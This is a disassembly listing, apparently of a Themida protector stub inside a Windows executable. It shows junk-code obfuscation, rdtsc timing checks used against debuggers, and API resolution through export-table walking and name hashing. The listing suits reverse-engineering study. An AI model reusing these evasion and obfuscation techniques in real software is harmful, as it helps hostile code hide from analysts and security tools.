		jmp	loc_581628
; ---------------------------------------------------------------------------
		dw 0A2CEh
		dd 1535A932h, 8DBDFADDh, 0D1600813h
; ---------------------------------------------------------------------------


loc_581628:				; CODE XREF: Themida_:0058160Fj
					; Themida_:00581615j
		call	sub_581633
		xchg	eax, ecx
		xchg	eax, ecx
		inc	ecx
		inc	edx
		inc	eax
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_581633	proc near		; CODE XREF: Themida_:loc_581628p
		pusha
		mov	edx, 6C8332ACh
		popa
		pop	edx
		mov	eax, 10F20B98h
		add	edx, 5C99h
		mov	esi, ecx
		mov	edi, 46F92627h
		xor	edi, 46F930DCh
		call	near ptr loc_58166A+1
		add	al, 0EBh
		cmc
		pop	ecx
		pop	ss
		push	0FFFFFFB6h


loc_58165F:				; CODE XREF: Themida_:00581673j
		push	esi
		mov	bh, 0E2h
		test	al, 0D7h
		test	eax, 81B57BE0h
		daa


loc_58166A:				; CODE XREF: sub_581633+20p
		mov	esp, 12E8h
sub_581633	endp ; sp-analysis failed

		add	[ebx-80h], bh
		inc	esi
		ja	short loc_58165F
		sbb	esp, gs:[edi]
		out	0BEh, al	; Interrupt Controller #2, 8259A
		dec	edi
		adc	al, [eax+17CC5CB7h]
		pop	es
		sub	al, 0D9h
		pop	ecx
		pop	eax


loc_581687:				; CODE XREF: Themida_:005816D6j
		push	dword ptr [edx]
		movzx	ecx, si
		pop	ebx
		jmp	loc_5816A4
; ---------------------------------------------------------------------------
		db 0C1h	; Á
		db  77h	; w
		db 0FFh
		db  31h	; 1
		db 0AAh	; ª
		db 0F8h	; ø
		db 0CCh	; Ì
		db  53h	; S
		db  96h	; –
		db 0D1h	; Ñ
		db 0A1h	; ¡
		db  1Fh
		db 0C1h	; Á
		db  11h
		db  67h	; g
		db 0D5h	; Õ
		db  81h	; 
		db  47h	; G
; ---------------------------------------------------------------------------


loc_5816A4:				; CODE XREF: Themida_:0058168Dj
		sub	ebx, 1ECD8E9Ch
		mov	ch, 3
		sub	ebx, 7399DE53h
		mov	cl, ah
		xor	ebx, 1D707426h
		pusha
		mov	dl, al
		mov	ah, dh
		popa
		mov	[edx], ebx
		or	ax, 3A98h
		sub	edx, 2
		push	edx
		movsx	ecx, di
		pop	ecx
		dec	edx
		dec	edx
		mov	esi, ebx
		sub	edi, 1
		jnz	loc_581687
		mov	al, 7Dh
		jmp	short loc_5816E4
; ---------------------------------------------------------------------------
		dd 21Bh
; ---------------------------------------------------------------------------


loc_5816E4:				; CODE XREF: Themida_:005816DEj
		jmp	loc_581E3B
; ---------------------------------------------------------------------------
		clc
		pusha
		pusha
		add	dl, 82h
		mov	[ebp+6140155h],	edx
		popa
		mov	eax, 0
		jmp	loc_581714
; ---------------------------------------------------------------------------
		dd 48486A09h, 8478E4B6h, 7797A5AFh, 4EFD9285h, 94028A0Fh
; ---------------------------------------------------------------------------


loc_581714:				; CODE XREF: Themida_:005816FBj
		mov	edx, [esp+28h]
		xor	[ebp+6142495h],	edi
		mov	[ebp+6142E2Dh],	eax
		mov	[ebp+6141BA5h],	ebx ; CODE XREF: Themida_:0058174Fj
		mov	esi, 3Ch
		mov	[ebp+61402A1h],	edi
		add	esi, [esp+24h]
		pusha
		mov	eax, [ebp+6143445h]
		call	sub_581753
		mov	al, ds:0D1423883h
		mov	ch, 1Fh
		cmc
		db	65h
		pushf
		jge	short near ptr loc_581724+3
		xor	edx, edi

; =============== S U B	R O U T	I N E =======================================



sub_581753	proc near		; CODE XREF: Themida_:00581740p
		call	near ptr sub_58176C
		pop	eax
		jge	short loc_581795
		pop	ss
		push	ebp
		and	ds:0BD12099h, bh
		cmp	ecx, ecx
		mov	dh, 0EBh
		outsd
		dec	edx
		dec	ebx
		inc	ecx
		hlt
sub_581753	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58176C	proc far		; CODE XREF: sub_581753p

arg_20		= dword	ptr  24h
arg_40		= dword	ptr  44h
arg_48		= dword	ptr  4Ch

		pop	edi
		pop	ecx
		popa
		lodsw
		jge	loc_581778
		stc


loc_581778:				; CODE XREF: sub_58176C+5j
		add	eax, [esp-28h+arg_48]
		mov	[ebp+6142BC1h],	ebx
		mov	[ebp+6142A71h],	esi
		push	eax
		jz	loc_5817A1
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc


loc_581795:				; CODE XREF: sub_581753+6j
		pop	edx
		pop	eax
		rdtsc


loc_581799:				; CODE XREF: sub_58176C+68j
		jl	$+6
		pop	edx
		pop	eax


loc_5817A1:				; CODE XREF: sub_58176C+1Dj
		mov	[esp-24h+arg_20], eax
		jmp	loc_5817BA
; ---------------------------------------------------------------------------
		db 52h,	0A7h, 0E4h
		dd 0BB256D5Bh, 79A661A1h, 0FE2EBE37h
		db 0BEh, 17h
; ---------------------------------------------------------------------------


loc_5817BA:				; CODE XREF: sub_58176C+38j
		mov	eax, [eax+78h]
		mov	[ebp+6140391h],	edx
		pusha
		push	edi
		jmp	loc_5817DE
; ---------------------------------------------------------------------------
		mov	dl, 72h
		and	[eax+1Fh], dh
		xchg	al, [ebx-52h]
		sbb	bl, bh
		jnb	short loc_581799
		cmp	bl, ds:0FD71108Fh
		sub	esi, ecx


loc_5817DE:				; CODE XREF: sub_58176C+59j
		pop	edx
		push	edi
		jmp	loc_5817EB
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 8Bh
		db 54h,	87h, 0B2h
; ---------------------------------------------------------------------------


loc_5817EB:				; CODE XREF: sub_58176C+74j
		pop	edi
		popa
		add	eax, [esp-24h+arg_48]
		cld
		or	[ebp+6142579h],	ebx
		mov	eax, [eax+18h]
		clc
		inc	eax
		jmp	loc_581815
; ---------------------------------------------------------------------------
		dw 4E25h
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+36394E7Fh], 0CDE712D4h
		pop	esi
		inc	ecx
		adc	edi, esp
		add	cl, [edi]
		sahf


loc_581815:				; CODE XREF: sub_58176C+91j
		mov	[ebp+6143B44h],	eax
		pusha
		jmp	loc_58182B
; ---------------------------------------------------------------------------
		db 0E8h, 98h, 57h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CDh, 7Ah, 5Eh
		db 90h
		db 99h,	3Dh
; ---------------------------------------------------------------------------


loc_58182B:				; CODE XREF: sub_58176C+B0j
		mov	ax, di
		popa
		pop	eax
		jns	loc_581842
		jmp	loc_581842
; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------
		pop	ebp
		sub	[esi], al
		inc	eax
		mov	al, 6


loc_581842:				; CODE XREF: sub_58176C+C4j
					; sub_58176C+CAj
		mov	esi, [eax+78h]
		pusha
		mov	[ebp+6142D79h],	esi
		or	[ebp+6141FF5h],	edi
		popa
		add	esi, 1Ch
		jmp	loc_58186A
; ---------------------------------------------------------------------------
		db 59h
		dd 2872CA8Eh, 5ACF78F5h, 8A042F94h
		db 69h,	44h
; ---------------------------------------------------------------------------


loc_58186A:				; CODE XREF: sub_58176C+EAj
		add	esi, [esp+24h]
		sub	[ebp+61419D1h],	edx
		lea	edi, [ebp+6140CD9h]
		jmp	loc_581891
; ---------------------------------------------------------------------------
		db 61h
		dd 4D7C29FAh, 41FA49E4h, 19878115h, 0F9BE8838h
		db 88h
; ---------------------------------------------------------------------------


loc_581891:				; CODE XREF: sub_58176C+10Ej
		lodsd
		mov	[ebp+614259Dh],	edx
		add	eax, [esp+24h]
		pusha
		clc
		push	edx
		mov	[ebp+6140BB1h],	ecx
		pop	edi
		popa
		xor	[ebp+61401EDh],	edi
		stosd
		pusha
		movsx	edi, bx
		mov	di, cx
		popa
		lea	edi, [ebp+6142655h]
		pusha
		push	edi
		mov	[ebp+6142099h],	esi
		pop	edi
		jmp	loc_5818DB
; ---------------------------------------------------------------------------
		dw 229Dh
		db 90h
		db 0BDh, 0DBh, 15h
		dd 5CCCD363h, 9D59CBB3h
		db 0BDh, 86h, 0F1h
; ---------------------------------------------------------------------------


loc_5818DB:				; CODE XREF: sub_58176C+159j
		popa
		lodsd
		xor	[ebp+6140BE5h],	ecx
		mov	[ebp+6142361h],	esi
		add	eax, [esp+24h]
		jmp	loc_5818F8
; ---------------------------------------------------------------------------
		dw 0B06Ah
		dd 1A435200h
; ---------------------------------------------------------------------------


loc_5818F8:				; CODE XREF: sub_58176C+181j
		push	eax
		pusha
		mov	ecx, 8951920h
		jmp	loc_581911
; ---------------------------------------------------------------------------
		dd 0C4674AE3h, 0A9105757h, 74315BBh
; ---------------------------------------------------------------------------
		dec	ebp


loc_581911:				; CODE XREF: sub_58176C+193j
		popa
		mov	[esp+0], eax
		jnz	loc_581930
		jmp	loc_581930
; ---------------------------------------------------------------------------
		dd 15103329h, 47DBD7CAh, 0F522E07Ah, 6FD6C10Ah
; ---------------------------------------------------------------------------


loc_581930:				; CODE XREF: sub_58176C+1A9j
					; sub_58176C+1AFj
		stosd
		add	[ebp+614049Dh],	ebx
		lea	edi, [ebp+614157Dh]
		ja	loc_58194E
		jmp	loc_58194E
; ---------------------------------------------------------------------------
		dd 0BAE0623Ch
		db 4Ah,	28h
; ---------------------------------------------------------------------------


loc_58194E:				; CODE XREF: sub_58176C+1D1j
					; sub_58176C+1D7j
		jnp	loc_581962
		pusha
		jmp	loc_58195F
; ---------------------------------------------------------------------------
		dw 0C531h
		db 0F5h, 13h, 70h
; ---------------------------------------------------------------------------


loc_58195F:				; CODE XREF: sub_58176C+1E9j
		pusha
		popa
		popa


loc_581962:				; CODE XREF: sub_58176C:loc_58194Ej
		lodsd
		jmp	loc_581972
; ---------------------------------------------------------------------------
		dd 2371BE50h, 33B0E36h
		db 0F4h, 7Dh
; ---------------------------------------------------------------------------


loc_581972:				; CODE XREF: sub_58176C+1F7j
		add	eax, [esp+28h]
		pusha
		mov	[ebp+6143071h],	ebx
		popa
		stosd
		jmp	loc_581994
; ---------------------------------------------------------------------------
		dd 0CA423373h, 746C491Eh, 336CEA5h, 0BF685B01h
; ---------------------------------------------------------------------------


loc_581994:				; CODE XREF: sub_58176C+213j
		pop	esi
		pusha
		mov	eax, [ebp+6140455h]
		sub	[ebp+6140C59h],	edi
		popa


loc_5819A3:				; CODE XREF: sub_58176C+2C3j
		dec	dword ptr [ebp+6143B44h]
		cmp	dword ptr [ebp+6143B44h], 0
		jnz	short loc_5819C2
		mov	[esp-30h+arg_48], 0
		lea	esi, [ebp+6144066h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_5819C2:				; CODE XREF: sub_58176C+244j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+6140849h]
		test	al, al
		jz	short loc_5819D9
		cmp	al, [edi]
		jnz	short loc_581A25


loc_5819D9:				; CODE XREF: sub_58176C+267j
		push	edi
		xor	al, al


loc_5819DC:				; CODE XREF: sub_58176C+271j
		scasb
		jnz	short loc_5819DC
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_5819E9:				; CODE XREF: sub_58176C+2A6j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_5819F8:				; CODE XREF: sub_58176C+29Fj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_581A09
		xor	ax, 5041h
		xor	bx, 5449h


loc_581A09:				; CODE XREF: sub_58176C+292j
		dec	dh
		jnz	short loc_5819F8
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_5819E9
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_581A34


loc_581A25:				; CODE XREF: sub_58176C+26Bj
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+6142E2Dh]
		jmp	loc_5819A3
; ---------------------------------------------------------------------------


loc_581A34:				; CODE XREF: sub_58176C+2B7j
		pop	esi
		jmp	loc_581A46
; ---------------------------------------------------------------------------
		dw 0D633h
		dd 253CB259h, 47DA9BD4h
		db 83h,	51h
; ---------------------------------------------------------------------------


loc_581A46:				; CODE XREF: sub_58176C+2C9j
		add	[ebp+61400F9h],	ebx
		mov	eax, [ebp+6142E2Dh]
		pusha


loc_581A53:				; CODE XREF: sub_58176C+353j
		js	loc_581A5B
		mov	cl, dh


loc_581A5B:				; CODE XREF: sub_58176C:loc_581A53j
		popa
		shl	eax, 1
		jmp	loc_581A73
; ---------------------------------------------------------------------------
		db 4
		dd 68D75176h, 14C60E9Bh, 0E8E86579h
		db 15h,	92h, 0ADh
; ---------------------------------------------------------------------------


loc_581A73:				; CODE XREF: sub_58176C+2F2j
		add	eax, [ebp+614157Dh]
		pusha
		jns	loc_581A83
		movzx	esi, ax


loc_581A83:				; CODE XREF: sub_58176C+30Ej
		jnz	loc_581A8F
		mov	[ebp+6141919h],	edi


loc_581A8F:				; CODE XREF: sub_58176C:loc_581A83j
		popa
		sub	esi, esi
		mov	[ebp+6141E45h],	ebx
		jmp	loc_581AA6
; ---------------------------------------------------------------------------
		db 31h,	61h, 16h
		dd 9D75EE11h
; ---------------------------------------------------------------------------
		and	ecx, esp


loc_581AA6:				; CODE XREF: sub_58176C+32Cj
		xchg	eax, esi
		add	[ebp+6142BE1h],	ecx
		lodsw
		sub	[ebp+6142AF5h],	edi
		shl	eax, 2
		jmp	loc_581AC9
; ---------------------------------------------------------------------------
		mov	cl, [edx]
		loopne	loc_581A53
		dec	edx
		mov	al, 0A0h
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 4DC1h
; ---------------------------------------------------------------------------
		xlat


loc_581AC9:				; CODE XREF: sub_58176C+34Cj
		add	eax, [ebp+6140CD9h]
		mov	[ebp+61433D5h],	eax
		xchg	eax, esi
		mov	[ebp+61400A5h],	esi
		sub	[ebp+6142975h],	edx
		lodsd
		or	[ebp+6142A85h],	edx
		jnz	loc_581AF3
		pusha
		pusha
		popa
		popa


loc_581AF3:				; CODE XREF: sub_58176C+37Dj
		mov	ecx, [esp+24h]
		jl	loc_581B09
		jg	loc_581B09
		sub	[ebp+6140159h],	ebx


loc_581B09:				; CODE XREF: sub_58176C+38Bj
					; sub_58176C+391j
		add	eax, [esp+24h]
		mov	[ebp+6141E95h],	edi
		mov	[esp-30h+arg_48], eax
		jmp	loc_581B23
; ---------------------------------------------------------------------------
		add	edi, [ebp+33562A1Ch]
		push	edi


loc_581B23:				; CODE XREF: sub_58176C+3ABj
		xchg	eax, esi
		cmc
		jmp	loc_581B2F
; ---------------------------------------------------------------------------
		dw 85F2h
		db 2Fh,	0AFh, 66h
; ---------------------------------------------------------------------------


loc_581B2F:				; CODE XREF: sub_58176C+3B9j
		lodsb
		sub	[ebp+6140AF5h],	edx
		xor	cl, cl
		mov	[ebp+61411C1h],	edx
		inc	cl
		clc


loc_581B41:				; CODE XREF: sub_58176C+40Fj
		rcl	al, 1
		jnb	loc_581C02
		mov	[ebp+61430CDh],	eax
		rcl	al, 1
		jnb	loc_581C02
		xor	[ebp+6142A29h],	edi
		rcl	al, 1
		jb	loc_581C02
		mov	[ebp+6143491h],	esi
		rcl	al, 1
		jb	loc_581C02
		mov	[ebp+6143095h],	edx
		dec	cl
		jns	loc_581B41
		jmp	loc_581B8C
; ---------------------------------------------------------------------------
		dw 1C22h
		dd 18057CA1h
; ---------------------------------------------------------------------------


loc_581B8C:				; CODE XREF: sub_58176C+415j
		sub	[ebp+6140695h],	ecx
		add	esp, 20h
		jmp	loc_581BA0
; ---------------------------------------------------------------------------
		dw 0F48Ah
		dd 297F76BAh
; ---------------------------------------------------------------------------


loc_581BA0:				; CODE XREF: sub_58176C+429j
		mov	dword ptr [esp-4], 0
		jns	loc_581BB4
		add	[ebp+6140051h],	edx


loc_581BB4:				; CODE XREF: sub_58176C+43Cj
		mov	eax, 1
		jmp	loc_581BC9
; ---------------------------------------------------------------------------
		dw 98F8h
		dd 0C1165147h, 0E51D28AAh
		db 25h
; ---------------------------------------------------------------------------


loc_581BC9:				; CODE XREF: sub_58176C+44Dj
		jl	loc_581BD5
		xor	[ebp+6140241h],	edx


loc_581BD5:				; CODE XREF: sub_58176C:loc_581BC9j
		lea	ecx, [ebp+61472AFh]
		jno	loc_581BED
		jo	loc_581BED
		mov	[ebp+6141EE1h],	eax


loc_581BED:				; CODE XREF: sub_58176C+46Fj
					; sub_58176C+475j
		jb	loc_581BFA
		jge	loc_581BFA
		clc


loc_581BFA:				; CODE XREF: sub_58176C:loc_581BEDj
					; sub_58176C+487j
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+6140299h],	ecx


loc_581C02:				; CODE XREF: sub_58176C+3D7j
					; sub_58176C+3E5j ...
		mov	byte ptr [ebp+6140849h], 0
		jz	loc_581C20
		jmp	loc_581C20
; ---------------------------------------------------------------------------
		dd 0C233F35Dh, 3DFE1F18h, 338BE4D7h
; ---------------------------------------------------------------------------


loc_581C20:				; CODE XREF: sub_58176C+49Dj
					; sub_58176C+4A3j
		jbe	loc_581C27
		stc


loc_581C27:				; CODE XREF: sub_58176C:loc_581C20j
		popa
		clc
		retn	8
sub_58176C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_581C37
; ---------------------------------------------------------------------------
		db 0Fh,	17h, 0D0h
		db 23h,	87h, 5Bh
; ---------------------------------------------------------------------------


loc_581C37:				; CODE XREF: Themida_:00581C2Cj
		push	eax
		pusha
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		mov	bh, ch
		pop	edx
		pop	eax
		pusha
		mov	ebx, edx
		pusha
		popa
		popa
		popa
		mov	[esp], esi
		jmp	loc_581C57
; ---------------------------------------------------------------------------
		dw 0E49h
		db 4, 3Bh, 71h
; ---------------------------------------------------------------------------


loc_581C57:				; CODE XREF: Themida_:00581C4Dj
		mov	[ebp+6144266h],	esi
		pusha
		push	edx
		mov	ebx, [ebp+61408A9h]
		pop	esi
		sbb	edx, 0EA9F967h
		popa
		mov	[ebp+6144282h],	ecx
		mov	[ebp+61418B1h],	ecx
		add	[ebp+6142AD1h],	eax
		lea	esi, [ebp+6144134h]
		jmp	loc_581C91
; ---------------------------------------------------------------------------
		dw 0D73Bh
		dd 0E56BD222h
		db 0A3h
; ---------------------------------------------------------------------------


loc_581C91:				; CODE XREF: Themida_:00581C85j
		lea	eax, dword_5B8EA1[ebp]
		mov	[ebp+614155Dh],	esi
		call	eax
		or	[ebp+61406ADh],	edi
		pusha
		sub	[ebp+61400D1h],	ecx
		mov	eax, [ebp+6140201h]
		popa
		pop	esi
		jmp	locret_581CC9
; ---------------------------------------------------------------------------
		db 0E9h, 0E5h, 9
		dd 4F58A120h, 0A181270Ch, 839791EFh
; ---------------------------------------------------------------------------
		popa

locret_581CC9:				; CODE XREF: Themida_:00581CB4j
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+61430F9h],	edx
		mov	esi, [ebp+6144266h]
		mov	[ebp+6142D99h],	esi
		jmp	loc_581CF0
; ---------------------------------------------------------------------------
		db 0D9h, 78h, 23h
		dd 42D63EFh, 880F1C10h,	0BB59816Fh
; ---------------------------------------------------------------------------


loc_581CF0:				; CODE XREF: Themida_:00581CDCj
		mov	ecx, [ebp+6144282h]
		pusha
		call	loc_581D05
		leave
		jmp	short loc_581D37
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		das
		sub	al, [edi]
		dec	edx
		xchg	eax, ebx


loc_581D05:				; CODE XREF: Themida_:00581CF7p
		xor	[ebp+6141195h],	edx
		pop	ecx
		mov	eax, [ebp+614127Dh]
		popa
		mov	eax, 0
		sub	[ebp+6140C41h],	ecx
		mov	ebx, ecx
		jmp	near ptr loc_581D37+1
; ---------------------------------------------------------------------------
		db 53h,	0B8h, 64h
		dd 2C587858h, 6F2ED1EDh, 81B866D7h
		db 4Ch,	0F8h, 0Eh
; ---------------------------------------------------------------------------


loc_581D37:				; CODE XREF: Themida_:00581CFDj
					; Themida_:00581D20j
		add	eax, 9DE9h
		add	ah, bh


loc_581D3E:				; CODE XREF: Themida_:00581DDCj
		xor	ah, [esi]
		cld
		mov	dl, 2
		jz	loc_581D4F
		mov	[ebp+6143439h],	eax


loc_581D4F:				; CODE XREF: Themida_:00581D43j
		pusha
		stc
		mov	dx, 0C400h
		popa
		jmp	loc_581DB2
; ---------------------------------------------------------------------------
		mov	[ebp+61416A5h],	ebx


loc_581D61:				; CODE XREF: Themida_:00581DB4j
		xor	al, dl
		jmp	loc_581D6F
; ---------------------------------------------------------------------------
		dd 4F2183D7h
		db 5Fh,	87h, 57h
; ---------------------------------------------------------------------------


loc_581D6F:				; CODE XREF: Themida_:00581D63j
		add	eax, 8A751D7Ah
		jbe	loc_581D7B
		clc


loc_581D7B:				; CODE XREF: Themida_:00581D74j
		mov	cl, ah
		jmp	loc_581D8C
; ---------------------------------------------------------------------------
		dw 7330h
		dd 0FCA532E6h, 83D0918h
; ---------------------------------------------------------------------------


loc_581D8C:				; CODE XREF: Themida_:00581D7Dj
		ror	eax, cl
		jge	loc_581D9C
		jo	loc_581D9C
		pusha
		popa


loc_581D9C:				; CODE XREF: Themida_:00581D8Ej
					; Themida_:00581D94j
		xor	eax, 98D10842h
		clc
		dec	dl
		jg	loc_581DB2
		ja	loc_581DB2
		pusha
		popa


loc_581DB2:				; CODE XREF: Themida_:00581D56j
					; Themida_:00581DA4j ...
		or	dl, dl
		jnz	loc_581D61
		or	[ebp+6140715h],	ebx
		mov	[ebp+61408DDh],	edx
		dec	ebx
		sub	[ebp+61425A1h],	edx
		inc	esi
		pusha
		mov	[ebp+6142F99h],	edx
		mov	dx, 0D5C7h
		popa
		or	ebx, ebx
		jnz	loc_581D3E
		add	[ebp+614065Dh],	eax
		iret
; ---------------------------------------------------------------------------
		jmp	near ptr word_581E02
; ---------------------------------------------------------------------------
		dw 0D1Ah
		dd 8A07EA89h, 73E43F8Ah, 0C509705Ah, 2056195Dh
		db 0B4h, 61h
word_581E02	dw 0			; CODE XREF: Themida_:00581DE9j
		dd 0C8E0Fh, 8F0F0000h, 6, 2C1D9529h, 614h, 15CD9D89h, 614h
		dd 0C830Fh, 8C0F0000h, 6, 840Fh, 0F50000h, 59BD3100h
; ---------------------------------------------------------------------------
		adc	edx, [esi+eax]


loc_581E3B:				; CODE XREF: Themida_:loc_5816E4j
		lea	eax, [ebp+6143B4Eh]
		mov	[ebp+6140809h],	edx
		mov	[ebp+614069Dh],	eax
		cld
		lea	eax, [ebp+614409Bh]
		jnb	loc_581E5B
		cmc


loc_581E5B:				; CODE XREF: Themida_:00581E54j
		mov	[ebp+6141095h],	eax
		jmp	short loc_581E77
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 0E2000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_581E77:				; CODE XREF: Themida_:00581E61j
		lea	eax, [ebp+6144392h]
		mov	[ebp+614132Dh],	eax
		cmp	dword ptr [ebp+61442D3h], 0
		jz	loc_581FBB
		mov	byte ptr [ebp+6140849h], 56h
		push	821D1271h
		xor	dword ptr [esp], 56027F48h
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		mov	[ebp+61442C7h],	eax
		mov	byte ptr [ebp+6140849h], 56h
		push	99197B17h
		add	dword ptr [esp], 38F3D3Bh
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		mov	[ebp+61442CBh],	eax
		push	4
		call	near ptr sub_581EE9
		add	[eax], dl
; ---------------------------------------------------------------------------
		db 0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_581EE9	proc far		; CODE XREF: Themida_:00581EE0p

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_92		= dword	ptr -92h
var_8E		= dword	ptr -8Eh
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_72		= dword	ptr -72h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= dword	ptr -4Eh
var_4A		= dword	ptr -4Ah
var_46		= dword	ptr -46h
var_42		= dword	ptr -42h
var_3E		= dword	ptr -3Eh
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
arg_6E26	= dword	ptr  6E2Eh
arg_6E36	= dword	ptr  6E3Eh
arg_6E3A	= dword	ptr  6E42h
arg_6E3E	= dword	ptr  6E46h
arg_6E44	= dword	ptr  6E4Ch
arg_6E48	= dword	ptr  6E50h
arg_6E4C	= dword	ptr  6E54h
arg_6E50	= dword	ptr  6E58h
arg_6E54	= dword	ptr  6E5Ch
arg_6E58	= dword	ptr  6E60h
arg_6E5C	= dword	ptr  6E64h
arg_6E60	= dword	ptr  6E68h
arg_6E64	= dword	ptr  6E6Ch
arg_6E68	= dword	ptr  6E70h
arg_6E6E	= dword	ptr  6E76h
arg_6E72	= dword	ptr  6E7Ah
arg_6E76	= dword	ptr  6E7Eh
arg_6E7A	= word ptr  6E82h
arg_6E7C	= dword	ptr  6E84h
arg_6E80	= dword	ptr  6E88h
arg_6E84	= dword	ptr  6E8Ch
arg_6E8A	= dword	ptr  6E92h
arg_6E8E	= dword	ptr  6E96h
arg_6E92	= dword	ptr  6E9Ah
arg_6E96	= dword	ptr  6E9Eh
arg_6E9A	= dword	ptr  6EA2h
arg_6E9E	= dword	ptr  6EA6h
arg_6EA2	= word ptr  6EAAh
arg_6EA4	= dword	ptr  6EACh
arg_6EA8	= dword	ptr  6EB0h
arg_6EAC	= dword	ptr  6EB4h
arg_6EB2	= dword	ptr  6EBAh
arg_6EB6	= dword	ptr  6EBEh
arg_6EBA	= dword	ptr  6EC2h
arg_6EBE	= dword	ptr  6EC6h
arg_6EC2	= dword	ptr  6ECAh
arg_6EC6	= dword	ptr  6ECEh
arg_6ECA	= dword	ptr  6ED2h
arg_6ECE	= dword	ptr  6ED6h
arg_6ED2	= dword	ptr  6EDAh
arg_6ED6	= dword	ptr  6EDEh
arg_6EDC	= dword	ptr  6EE4h
arg_6EE0	= dword	ptr  6EE8h
arg_6EE4	= dword	ptr  6EECh
arg_6EE8	= dword	ptr  6EF0h
arg_6EEC	= dword	ptr  6EF4h
arg_6EF0	= dword	ptr  6EF8h
arg_6EF6	= dword	ptr  6EFEh
arg_6EFA	= dword	ptr  6F02h
arg_6EFE	= dword	ptr  6F06h
arg_6F02	= dword	ptr  6F0Ah
arg_6F06	= dword	ptr  6F0Eh
arg_6F0A	= dword	ptr  6F12h
arg_6F0E	= dword	ptr  6F16h

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		mov	eax, [ebp+61442D7h]
		add	eax, 1F4h
		shl	eax, 2
		nop
		push	eax
		nop
		push	0
		call	dword ptr [ebp+61442CBh]
		mov	[ebp+61442CFh],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+614132Dh]
		mov	eax, ebx
		call	dword ptr [ebp+614132Dh]
		jmp	loc_581FBB
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+61442D3h], 0
		jnz	loc_581F3C
		retn
; ---------------------------------------------------------------------------


loc_581F3C:				; CODE XREF: sub_581EE9+4Cj
		push	edi
		mov	edi, [ebp+61442CFh]
		stosd
		add	dword ptr [ebp+61442CFh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+61442D3h], 0
		jnz	loc_581F5B
		retn
; ---------------------------------------------------------------------------


loc_581F5B:				; CODE XREF: sub_581EE9+6Bj
		pusha
		sub	dword ptr [ebp+61442CFh], 4


loc_581F63:				; CODE XREF: sub_581EE9:loc_581FB6j
		mov	ebx, [ebp+61442CFh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_581F90
		push	0E37ABDAFh
		add	[esp+2Ch+var_2C], 1C85C251h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+61442C7h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_581FB6
; ---------------------------------------------------------------------------


loc_581F90:				; CODE XREF: sub_581EE9+84j
		call	near ptr loc_581F95+4


loc_581F95:				; CODE XREF: sub_581EE9:loc_581F90p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+24h+var_20], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+61442C7h]
		sub	dword ptr [ebp+61442CFh], 4


loc_581FB6:				; CODE XREF: sub_581EE9+A2j
		jmp	loc_581F63
; ---------------------------------------------------------------------------


loc_581FBB:				; CODE XREF: Themida_:00581E8Aj
					; sub_581EE9+40j
		dec	eax
		jmp	loc_582994
; ---------------------------------------------------------------------------
		sbb	dl, ch
		push	0FFFFFFC1h
		aaa
		retf
; ---------------------------------------------------------------------------
		db 0A1h
		db 8Dh,	12h
		dw 6F5Fh
		dd 32E26F2Eh, 412DF200h, 2DE2297Ch, 64EC7E54h, 0CA26E450h
		dd 6AF3473Bh, 0AD893CCCh, 3D480085h, 35F07E7Dh,	2E66FD45h
		dd 27E8591Fh, 68ED6340h, 0C826E402h, 6AF0483Dh,	0B28926CCh
